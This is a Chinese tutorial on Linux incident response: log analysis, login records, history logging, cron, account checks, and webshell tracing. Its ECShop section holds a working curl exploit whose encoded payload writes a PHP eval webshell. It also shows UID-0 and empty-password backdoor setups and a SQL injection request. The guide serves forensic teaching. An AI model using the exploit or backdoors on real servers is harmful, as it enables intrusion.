Linux 应急响应-溯源-系统日志排查

Linux 应急响应-溯源-系统日志排查

1.1 查看当前已经登录到系统的用户

w 是一个命令行工具,它可以展示当前登录用户信息,并且每个用户正在做什么。它同时展示以下信
息:系统已经运行多长时间,当前时间,和系统负载。

[root@xuegod63 ~] w 
 10:45:27 up 3 min, 1 user, load average: 0.19, 0.22, 0.10 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
root pts/0 123.113.242.67 10:44 7.00s 0.00s 0.00s w 

第一行展示的信息和 uptime 命令运行结果一样。它包含了下列信息:
10:45:27 系统当前时间
up 3 min 系统上线时间
1 user 登录用户数目
load average: 0.19, 0.22, 0.10 - 过去 1 分钟,5 分钟和 15 分钟内,系统负载平均值。这个值
是对正在运行或者等待磁盘 I/O 操作的任务数目的一个考量。它基本上是告诉你过去的一段时间,系统
有多忙?

第二行包括以下信息:

USER - 登录用户名 
TTY - 登录用户使用的终端名称 
FROM - 来自登录用户的主机名或者 IP 
LOGIN@ - 用户登录时间 
IDLE - 从用户上次和终端交互到现在的时间,即空闲时间 
JCPU - 依附于 tty 的所有进程的使用时间 
PCPU - 用户当前进程的使用时间。当前进程名称显示在 WHAT 
WHAT - 用户当前进程和选项、参数 

1.2 查看所有用户最近一次登录

lastlog 命令 用于显示系统中所有用户最近一次登录信息。
lastlog 文件在每次有用户登录时被查询。可以使用 lastlog 命令检查某特定用户上次登录的时间,
并格式化输出上次登录日志/var/log/lastlog 的内容。它根据 UID 排序显示登录名、端口号(tty)和上
次登录时间
。如果一个用户从未登录过,lastlog 显示Never logged

注意需要以 root 身份运行该命令。

[root@xuegod63 ~] lastlog
 
Username Port From Latest 
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021 
bin **Never logged in** 
daemon **Never logged in** 
adm **Never logged in** 
lp **Never logged in** 
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021 
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021 
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021 
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021 

但是记录中会有很多未登录的用户,可以通过 grep -v 命令进行过滤,不显示没有登录过的用户。

[root@xuegod63 ~] lastlog |grep -v "Never logged in" 

Username Port From Latest 
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021 
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021 
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021 
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021 
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021 

1.3 查看历史登录用户以及登录失败的用户

last 可以查看所有成功登录到系统的用户记录,lastb 查看登录成功和失败的用户记录。

单独执行 last 指令时,它会读取位于/var/log/wtmp 的文件,并把该给文件的内容记录的登录系统
的用户名单全部显示出来。

last 查看

[root@xuegod63 ~] last 

root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00) 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00) 

…省略大量记录

查看最近 5 个登录的用户。
[root@xuegod63 ~] last -n 5 

root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00) 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00) 
root pts/10 59.41.69.140 Fri Aug 13 20:29 gone - no logout 
root pts/9 59.41.68.92 Fri Aug 13 20:29 gone - no logout 
-a 参数把 ip 列放在最后一行
[root@xuegod63 ~] last -a -n 5  

root pts/7 Fri Aug 13 20:32 gone - no logout 183.198.217.75 
root pts/6 Fri Aug 13 20:31 - 20:32 (00:00) 183.198.217.75 
root pts/6 Fri Aug 13 20:31 - 20:31 (00:00) 183.198.217.75 
root pts/10 Fri Aug 13 20:29 gone - no logout 59.41.69.140 
root pts/9 Fri Aug 13 20:29 gone - no logout 59.41.68.92 
-d ip 地址转换为主机名。

该参数可以获取登录到系统的用户所使用的的主机名,如果目标适用的vps 服务器绑定了域名,该参数有可能获取到目标域名。

[root@xuegod63 ~] last -a -d |awk -F' ' '{print $1 "\t" $NF}' 

root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn 
root 10.45.136.117.static.js.chinamobile.com 
root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn 

以上地址是阿里云保留地址。

注:awk 命令可以帮我们取出我们想要的列,-F 指定分隔符,每列之间使用空格分隔,print 打印 $1 第一列 $NF 打印最后一列
"\t"添加 tab 符分隔,一般是 4 个空格。

对登录系统的用户和 ip 进行排序计数。

这里去掉-d 参数,因为找不到主机名的地址会显示 error.arpa

[root@xuegod63 ~] last -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr 

 16 root 123.113.246.37 
 10 reboot 3.10.0-1160.11.1.el7.x86_64 
 6 root 183.198.217.75 
 2 root 59.41.68.92 
 2 root 47.241.121.65 
 2 root 218.95.14.6 
 2 root 117.136.45.10 

sort 会将文本进行排序
默认排序会把一样的行都排到一起。
在这里插入图片描述

uniq -c 计数
在这里插入图片描述
sort -nr 排序 -nr 倒序 -n 正序
在这里插入图片描述

lastb 查看所有登录记录包含失败。
[root@xuegod63 ~] lastb -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr

在这里插入图片描述

登录失败的请求更重要的是 ip 地址信息,所以我们只取 ip 地址进行统计。
[root@xuegod63 ~] lastb -a |awk '{print $NF}' |sort |uniq -c |sort -nr 

在这里插入图片描述

1.4 SSH 登录日志分析

系统用户登录都会在/var/log/secure 日志文件中记录。但是这个日志文件会被系统自动分割。

ll -ld /var/log/secure* 
[root@xuegod63 ~] ll -ld /var/log/secure* 

-rw------- 1 root root 440 Sep 8 11:55 /var/log/secure 
-rw-------. 1 root root 1 Aug 13 11:43 /var/log/secure-20210813 
-rw------- 1 root root 98166 Sep 8 11:49 /var/log/secure-20210908 

通过通配符查看所有 secure 文件中登录失败的记录。

[root@xuegod63 ~] grep Failed /var/log/secure*

在这里插入图片描述

取出第九列和第十一列。

[root@xuegod63 ~] grep Failed /var/log/secure* |awk -F' ' '{print $9 "\t" $11}' 

在这里插入图片描述
但是这里有一些意料之外的记录,这是攻击者错误配置登录导致的。可以通过 grep -v 去掉这些记
录。但是这种乱搞的人的 ip 地址我们要单独关注一下。

[root@xuegod63 ~] grep Failed /var/log/secure* |grep invalid |awk -F' ' '{print $13}' 
124.88.182.50 
124.88.182.50 
124.88.182.50 
112.42.32.244 

过滤用户名+登录失败的 IP

[root@xuegod63 ~] grep Failed /var/log/secure* |grep -v "invalid"|grep -v "release" 
|awk -F' ' '{print $9 "\t" $11}' |sort |uniq -c | sort -nr 

在这里插入图片描述

查看登录成功的 ip

[root@xuegod63 ~] grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq 
-c | sort -nr | more 

在这里插入图片描述

1.5 查看系统历史命令

系统历史命令一般保存在用户家目录下.bash_history 文件中

[root@xuegod63 ~] find / -name .bash_history 

/home/admin/.bash_history 
/home/ecshop/.bash_history 
/home/www/.bash_history 
/home/discuzx/.bash_history 
/home/discuzml/.bash_history 
/home/dedecms/.bash_history 
/root/.bash_history 

查看当前用户的历史命令:

[root@xuegod63 ~]# history
在这里插入图片描述
历史命令会很多使用的时候多配合其他命令一起使用,比如 more 或 grep。如果某个用户被黑客
登录过了就一定要查看该用户的所有历史命令信息。重点关注黑客修改了了哪些文件。

另外默认的历史命令中仅仅记录历史命令,并不会记录额外的信息帮助我们分析。

自定义历史命令输出格式:添加一下配置到/etc/profile

[root@xuegod63 ~] vim /etc/profile #追加以下内容 
#记录登陆者 IP 地址 who 命令可以查看当前登录信息。 
USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'` 
#日志文件存放路径。 
HISTDIR=/var/log/history 
#设置日期 
DT=`date +%Y-%m-%d` 
 
#判断用户 IP 地址如果不存在或者为.则用户 IP 用本机主机名代替。 
if [ -z $USER_IP ] 
then 
USER_IP=`hostname` 
fi 
pdf="." 
if [[ ! $USER_IP == *${pdf}* ]] 
then 
USER_IP=`hostname` 
fi 
 
#判断日志文件路径是否存在,如果不存在则创建并添加权限。 
if [ ! -d $HISTDIR ] 
then 
mkdir -p $HISTDIR 
chmod 773 $HISTDIR 
fi 
 
#创建对应日期的日志文件 
if [ ! -d $HISTDIR/${DT} ] 
then 
mkdir -p $HISTDIR/${DT} 
chmod 773 $HISTDIR/${DT} 
fi 
 
 
#指定日志存放数量的总数 
export HISTFILESIZE=10000 
#配置 history 命令输出的总数 
export HISTSIZE=10000 
#配置文件具体时间 
DT2=`date +%Y%m%d_%H:%M:%S` 
#拼接文件名/var/log/history/日期 2021-09-08 /当前用户名@用户 ip_当前时间 
#DT1 是日期 DT2 是准确到秒的准确时间。 
export HISTFILE="$HISTDIR/${DT}/${LOGNAME}@${USER_IP}_$DT2" 
#设置历史命令中的时间戳,history 命令有效,文件中显示时间戳。
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S $" 

重新加载配置文件。

[root@xuegod63 ~] source /etc/profile 

查看历史命令,已经带了时间戳信息。

[root@xuegod63 ~] history 5 
 609 2021-09-08 15:18:58 $su - dedecms 
 610 2021-09-08 15:51:08 $vim /etc/profile 
 611 2021-09-08 15:51:14 $source /etc/profile 
 612 2021-09-08 15:51:15 $history 
 613 2021-09-08 15:51:57 $history 5 

将本次登录的命令写入命令历史文件中,命令不是使用了就立即写入到文件中的,会现在缓存中,用
户退出登录时会自动写入文件,-w 命令可以立即写入,-c 命令可以清除当前缓存中的命令。

[root@xuegod63 ~] history -w 

查看文件信息

[root@xuegod63 ~] ll /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14 
-rw------- 1 root root 18147 Sep 8 15:52 /var/log/history/2021-09-08/root@123.113.242.67_20210908_15:51:14 

文件名中记录了用户名-ip-时间。文件内容中记录了详细的命令以及命令执行的时间戳。

[root@xuegod63 ~] tail -f /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14 

常用系统日志说明

日志目录 作用

/var/log/message 包括整体系统信息 
/var/log/auth.log 包含系统授权信息,包括用户登录和使用的权限机制等 
/var/log/userlog 记录所有等级用户信息的日志 
/var/log/cron 记录 crontab 命令是否被正确的执行 
/var/log/vsftpd.log 记录 Linux FTP 日志 
/var/log/lastlog 记录登录的用户,可以使用命令 lastlog 查看 
/var/log/secure 记录大多数应用输入的账号与密码,登录成功与否 
/var/log/wtmp 记录登录系统成功的账户信息,等同于命令 last 
/var/log/btmp 记录记录的登入系统失败的用户名单,等同于命令 lastb 
/var/log/faillog 记录登录系统不成功的账号信息,一般会被黑客删除 

1.6 计划任务日志

所有执行过的计划任务都会存在在/var/log/cron 文件中。

查看所有执行过的计划任务。

[root@xuegod63 ~] cat /var/log/cron* |awk -F':' '{print $NF}' |grep CMD |sort|uniq -c |sort -rn 

查看所有用户的计划任务

[root@xuegod63 ~]# cat /etc/passwd | cut -f 1 -d : |xargs -i crontab -l -u {} 

也可以直接查看/var/spool/cron/下的文件内容,所有用户级别的计划任务,都在这里有文件

[root@xuegod63 log] ls /var/spool/cron/ 
root 
[root@xuegod63 log] cat /var/spool/cron/root 

以上是用户级别的系统任务。系统级别的计划任务只能排查配置文件中的内容。

[root@xuegod63 log] find /etc/cron* -type f #查看系统级别的计划任务文件名 
/etc/cron.d/0hourly 
/etc/cron.d/sysstat 
/etc/cron.daily/mlocate 
/etc/cron.daily/logrotate 
/etc/cron.daily/man-db.cron 
/etc/cron.deny 
/etc/cron.hourly/0anacron 
/etc/crontab 

1.7 检查系统用户

Linux 系统用户主要存放于/etc/passwd 文件和/etc/shadow 文件中当然还有一个组文件
/etc/group。

[root@xuegod63 ~] head -n 1 /etc/passwd 
root:x:0:0:root:/root:/bin/bash 

注:/etc/passwd 文件存放的是用户的信息,由 6 个分号组成的 7 个信息,解释如下

(1):用户名。 
(2):密码(已经加密) 
(3):UID(用户标识),操作系统自己用的 
(4):GID 组标识。 
(5):用户全名或本地帐号 
(6):开始目录 
(7):登录使用的 Shell,就是对登录命令进行解析的工具。 

重点在于 UID 和 GID,root 用户的用户表示为 0,如果一个普通用户的 UID 修改为 0,那么这个用 户就成为了 root用户。

1、修改用户 UID 为 0,伪装成 root 用户

[root@xuegod63 ~] useradd xuegod #新增用户的信息。 
[root@xuegod63 ~] tail -n 1 /etc/passwd 
xuegod:x:1000:1000::/home/xuegod:/bin/bash 
[root@xuegod63 ~] vim /etc/passwd 
xuegod:x:0:1000::/home/xuegod:/bin/bash 

查看用户身份,用户名还是 xuegod,用户身份已经识别为 root。

[root@xuegod63 ~] id 
uid=0(root) gid=1000(xuegod) groups=1000(xuegod) 

此时 xuegod 用户拥有 root 用户所有权限。
查找用户 uid=0 的用户

[root@xuegod63 ~] awk -F: '$3==0 {print $1}' /etc/passwd 
root 
xuegod 

2、使用空口令账户登录 Linux 系统

正常情况,没有密码,用户是登录不了 linux 的。下面模拟黑客以空口令方式登录系统。
(1)、设置 sshd 服务允许空口令帐号登录系统

[root@xuegod63 ~] vim /etc/ssh/sshd_config 
改:#PermitEmptyPasswords no 
为:PermitEmptyPasswords yes 
[root@xuegod63 ~] systemctl restart sshd 

(2)、创建空口令帐号

[root@xuegod63 ~] useradd test 
[root@xuegod63 ~] passwd test 
[root@xuegod63 ~] vim /etc/shadow #删除 test 密码信息,test 就成为空口令用户 
改: 
test:$6$GGylrTxY$evNbwbgNDb8/5XF.9fjgrSm7fNWd1MLFh64WPqtzed8Fcl.tUmeep3O.LveE5QO9w4xC25hHJXh11kspaU5Oe1:18894:0:99999:7::: 
为:test: :18894:0:99999:7::: 

(3)、测试空口令用户登录系统

[root@xuegod63 ~] ssh test@192.168.1.63 #直接回车就可以登录成功,不用输入密码 
[test@xuegod63 ~]$ 

1.8 中间件日志

这里以实际靶场中的日志给大家分析,通常日志文件在/var/log/httpd/access_log 目录下。具体
可以看 apache 服务的配置文件中指定的日志文件路径。

Apache 日志字段说明: 
字段名称 描述 
远程主机 IP 表明是谁访问了网站 
空白(E-mail) 为了避免用户的邮箱被垃圾邮件骚扰,第二项就用“-”取代了 
空白(登录名) 用于记录浏览者进行身份验证时提供的名字 
请求时间 用方括号包围,而且采用“公用日志格式”或者“标准英文格式”。 时间
信息最后的“+0800”表示服务器所处时区位于 UTC 之后的 8 小时 
方法 请求的方式:METHOD、GET、POST、HEAD 等 
资源 请求的文件 
协议 请求的协议:HTTP+版本号 
状态码 请求的状态码 
发送的字节数 表示发送给客户端的总字节数。它告诉我们传输是否被打断(该数值是否
和文件的大小相同) 
Referer 从哪个页面链接过来的 
User-Agent 使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、
浏览器语言、浏览器插件等信息。 
[root@xuegod63 ~] cat /www/wwwlogs/access_log |less 

在这里插入图片描述

日志分析的痛点:只能看到 GET 请求的请求操作,POST 请求看不到对服务器提交的内容

查询访问网站次数最多的 10 个 IP 地址。

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 1 -d ' '|sort|uniq -c|sort -nr|head -10 

在这里插入图片描述

查看访问最多的 URI

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 7 -d ' '|sort|uniq -c|sort -nr|head -10 

在这里插入图片描述

查看服务哪个时间段访问量最高。

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 4 -d ' '|sort|uniq -c|sort -nr|head -10 

在这里插入图片描述

查看日志中存在 select 的请求,如果站点存在 GET 类型的 SQL 注入,可以通过 SQL 语句中的关键
词筛选。这里仅举例,其他关键字自行替换。下面为 DVWA 测试数据。

[root@xuegod63 ~]# grep select /www/wwwlogs/access_log 
120.244.60.57 - - [08/Sep/2021:16:19:02 +0800] "GET /DVWAmaster/vulnerabilities/sqli/?id=13213%27union+select+1%2C2%2C3+--+%2B&Submit=Submit HTTP/1.1" 200 72 "http://xxx.xxx.xxx.xxx/DVWAmaster/vulnerabilities/sqli/"
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" 

通过日志可快速定位到攻击者 ip 地址,攻击发起的时间,过滤出由攻击者 IP 发起的所有请求即可还

原该用户的所有请求记录。

[root@xuegod63 log] grep "120.244.60.57" /www/wwwlogs/access_log 

在这里插入图片描述

1.9 通过时间检查站点被黑客修改过的文件

通过文件的创建修改时间来分析这个期间黑客修改了哪些内容。下面用 Webshell 和日志来演示,方
法对于黑客在服务器上留下后门程序是一样的,只是 webshell 的检查范围只有站点资源文件。
这里我们模拟测试数据对 ecshop 站点写入 webshell。

[root@xuegod63 ~] curl http://ecshop.xueshenit.com/user.php -d 
"action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5z
cHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" -H 
'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 
1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2
f286261736536345f6465636f646528275a585a686243676b5831425055315262646e567362
6e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' 
union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a' 

此时 webshell 已经写入到服务器。这里我们可以通过新文件的创建日期来判断入侵时间,得到入侵
时间之后我们可以关注一下这个时间段的服务器日志。 相反如果我们在日志中找到了入侵时间,也可
以根据时间范围来查找黑客修改了哪些文件。

检查最近 1 天内被修改过的文件。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime -1 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
/www/wwwroot/ecshop.xueshenit.com/temp/query_caches/sqlcache_config_file_6bb9
6e533c71059dc72d724582e8a24b.php 
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/user_passport.dwt.php
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php 

/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php

find -name "*.php" 查找*.php 文件。 
-mtime -1 查找最近 1 天内被修改过的文件。 
注:0 表示 24 小时内修改过的,1 表示昨天修改过的,2 表示前天修改过的。这是个单独的日期,
想要指定 3 天之前到现在被修改过的文件则需要指定-3 
查看 30 天内修改过的文件示例:-mtime -30 
Linux 文件有 3 个时间属性 
atime access time 访问时间 文件中的数据库最后被访问的时间 
mtime modify time 修改时间 文件内容被修改的最后时间 
ctime change time 变化时间 文件的元数据发生变化。比如权限,所有者等 

stat 命令可以查看文件详细信息。

[root@xuegod63 ~]# stat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
 File: ‘/www/wwwroot/ecshop.xueshenit.com/vulnspy.php’ 
 Size: 31 Blocks: 8 IO Block: 4096 regular file 
Device: fd01h/64769d Inode: 535716 Links: 1 
Access: (0644/-rw-r--r--) Uid: ( 1001/ www) Gid: ( 1001/ www) 
Access: 2021-09-14 15:16:21.579827018 +0800 
Modify: 2021-09-14 15:16:17.217656461 +0800 
Change: 2021-09-14 15:16:17.217656461 +0800 
 Birth: - 

但是 ls 命令默认查看的日期格式是英文的,如果想修改为 2021-09-14 这样的格式需要进行修改。

[root@xuegod63 ~] echo "export TIME_STYLE='+%Y/%m/%d %H:%M:%S'" >> /etc/profile 
[root@xuegod63 ~] source /etc/profile 
 
[root@xuegod63 ~] ll /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
-rw-r--r-- 1 www www 31 2021/09/14 15:16:17 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 

分析结果,一共找到 4 个 24 小时内修改过的文件,但是有 3 个文件是 temp 临时目录下的,所以可
能是系统运行所产生的临时文件。
查看文件内容:

[root@xuegod63 ~] cat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
<?php eval($_REQUEST[vulnspy]); 

如果站点中修改的文件过多可以 find 时进行过滤。常见的过滤规则 eval system 一句话常用的关键
词进行过滤即可。有时先找到马之后分析这个马的关键词进行过滤,比如通过 D 盾检测 webshell。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php:<?php eval($_REQUEST[vulnspy]); 

xargs 可以把前面 find 命令的输出传递给后面的命令。

多个关键词可以在 grep 条件中添加,添加方式如下:|或 需要\转义。
grep “eval|system”

把 webshell 和日志中入侵记录关联起来。

[root@xuegod63 ~]# find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l 
-rw-r--r-- 1 www www 31 2021/09/14 11:39:34 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 

通过日期可以定位到日志中的操作。

[root@xuegod63 log] grep "11:39:34" /www/wwwlogs/access_log 
47.241.121.65 - - [24/Sep/2021:11:39:34 +0800] "POST /user.php HTTP/1.1" 200 2 

可以看到攻击者通过访问 user.php 文件生成了 vulnspy.php 一句话木马,所以我们可以判定
user.php 文件存在漏洞。修复方案可以到对应的官网寻找修复补丁,或者百度搜索临时解决办法。

缺点:日志中可以看到是 POST 请求,日志是不保存 POST 中的 data 数据段的,所以看不到攻击细
节,一般安全防火墙设备中会提供完整报文。

批量查找写入 webshell 的日志。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l|awk '{print $7}' |xargs -I {} grep 
{} /www/wwwlogs/access_log 
47.240.66.200 - - [14/Sep/2021:15:16:17 +0800] "POST /user.php HTTP/1.1" 200 2 

原理很简单,查找到文件之后通过 awk 取出文件名 ls -l +awk 取出文件日期,通过 grep 过滤日志
中和 webshell 相同日期的记录。

查询到攻击者 IP 以及 webshell 之后就可以筛选对应的日志。攻击者 IP 并不是只会有一个。比如下
面的地址就是使用了代理的 IP。属于境外 IP

查询所有访问一句话木马的日志。

[root@xuegod63 ~] grep "vulnspy.php" /www/wwwlogs/access_log 
23.83.225.82 - - [14/Sep/2021:17:32:28 +0800] "POST /vulnspy.php HTTP/1.1" 200 160 
23.83.225.82 - - [14/Sep/2021:17:32:35 +0800] "POST /vulnspy.php HTTP/1.1" 200 163 
23.83.225.82 - - [14/Sep/2021:17:32:36 +0800] "POST /vulnspy.php HTTP/1.1" 200 831 
23.83.225.82 - - [14/Sep/2021:17:32:41 +0800] "POST /vulnspy.php HTTP/1.1" 200 161 
23.83.225.82 - - [14/Sep/2021:17:32:46 +0800] "POST /vulnspy.php HTTP/1.1" 200 78 
 

查询 IP 归属

https://ip.fm/?ip=23.83.225.82

https://ipw.cn/ip/?ip=23.83.225.82
在这里插入图片描述

查看该 ip 所有的记录

[root@xuegod63 ~] grep "23.83.225.82" /www/wwwlogs/access_log

在这里插入图片描述
查询一定时间范围内被修改过的文件。多数情况下黑客并不是刚刚入侵到这台服务器的,有可能要追溯到很早,所以这个时候需要通过时间范围来检查系统文件。

find -mtime,这种查找的时间单位是天,怎么精确到分钟呢?或者说按照时间戳去查找?这就需要
使用"-newermt"参数

例:将/www/wwwroot/ecshop.xueshenit.com/目录下,2021-08-01 9:00 到 2021-09-15
21:00 时间段内修改或生成的文件显示出来。
该参数中的 m 其实就表示 mtime,t 表示绝对时间,那同样还存在:-newerat-newerct

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -newermt '2021-08-01 9:00' ! -newermt '2021-09-15 21:00' |xargs ls -l

在这里插入图片描述

1.10 检查服务器已经建立的网络连接

如果黑客已经和服务器建立了连接,可通过查看当前服务器已经建立的链接来分析恶意 ip 和进程。
Linux 中查看网络连接常用 netstat

netstat 命令参数 
-a 或--all:显示所有连线中的 Socket; 
-n 或--numeric:直接使用 ip 地址,而不通过域名服务器; 
-p 或--programs:显示正在使用 Socket 的程序识别码和程序名称; 
-t 或--tcp:显示 TCP 传输协议的连线状况; 
-u 或--udp:显示 UDP 传输协议的连线状况; 

常用语法:

[root@xuegod63 ~] netstat -anutp 

在这里插入图片描述
第一列:协议类型
第二列:接收消息队列
第三列:发送消息队列
第四列:本地 ip 和端口
第五列:远程 ip 和端口
第六列:网络连接状态
第七列:进程 pid 和进程名称

可以通过第六列筛选已经建立链接的进程。
TCP 连接状态详解:
1、LISTEN #本地服务侦听状态
2、ESTABLISHED #已经建立链接双方正在通讯状态。
3、CLOSE_WAIT #对方主动关闭连接或者网络异常导致连接中断,这时我方的状态会变成
CLOSE_WAIT 此时我方要调用 close()来使得连接正确关闭。
4、TIME_WAIT #我方主动调用 close()断开连接,收到对方确认后状态变为
TIME_WAIT。
5、SYN_SENT #半连接状态,原理同 SYN Flood 攻击,攻击者发送 SYN 后服务器端口
进入 SYN_SENT 状态等待用户返回 SYN+ACK。

查看已经建立连接的会话。

[root@xuegod63 ~] netstat -anutp |grep ESTABLISHED

在这里插入图片描述

[root@xuegod63 log] netstat -anutp |grep 22

在这里插入图片描述

[root@xuegod63 log] netstat -anutp |grep LISTEN #查看本机处于监听的服务,查看

检查黑客开放了哪些监听端口

在这里插入图片描述

  • 41
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Linux web服务器应急响应靶场是一个模拟真实环境下的紧急事件响应练习场所。该靶场旨在提供一个具有高度仿真度的网络环境,以帮助安全人员提升对Linux web服务器应急响应能力。 首先,靶场会模拟真实的攻击场景,包括常见的漏洞利用和攻击技术,如SQL注入、跨站脚本攻击、远程命令执行等等。通过对这些攻击进行实践,安全人员能够学习并理解攻击者的手段和思路,从而更好地应对和防范类似攻击。 其次,靶场提供了一系列实际的应急响应演练,可以让安全人员在真实环境中应对各种紧急事件。比如,在被攻击后的服务器恢复和修复、日志分析和溯源等方面进行演练。通过这些实践,安全人员能够锻炼应急响应的技能,提升对应急事件的处理能力。 此外,靶场还提供了一些工具和资源,用于监控和检测攻击行为,以及收集和分析攻击相关的数据。通过这些工具的使用,安全人员可以更好地掌握攻击者的行为特征,及时发现异常情况并采取相应措施。同时,还能够积累更多的经验,为今后的实际工作提供更好的应对手段和方法。 总之,Linux web服务器应急响应靶场是一个非常有益的训练和实践场所,可以帮助安全人员提升Linux web服务器应急响应的能力和技巧。通过参与靶场的训练,可以提高应对紧急事件的速度和准确性,从而更好地保护服务器和网站的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值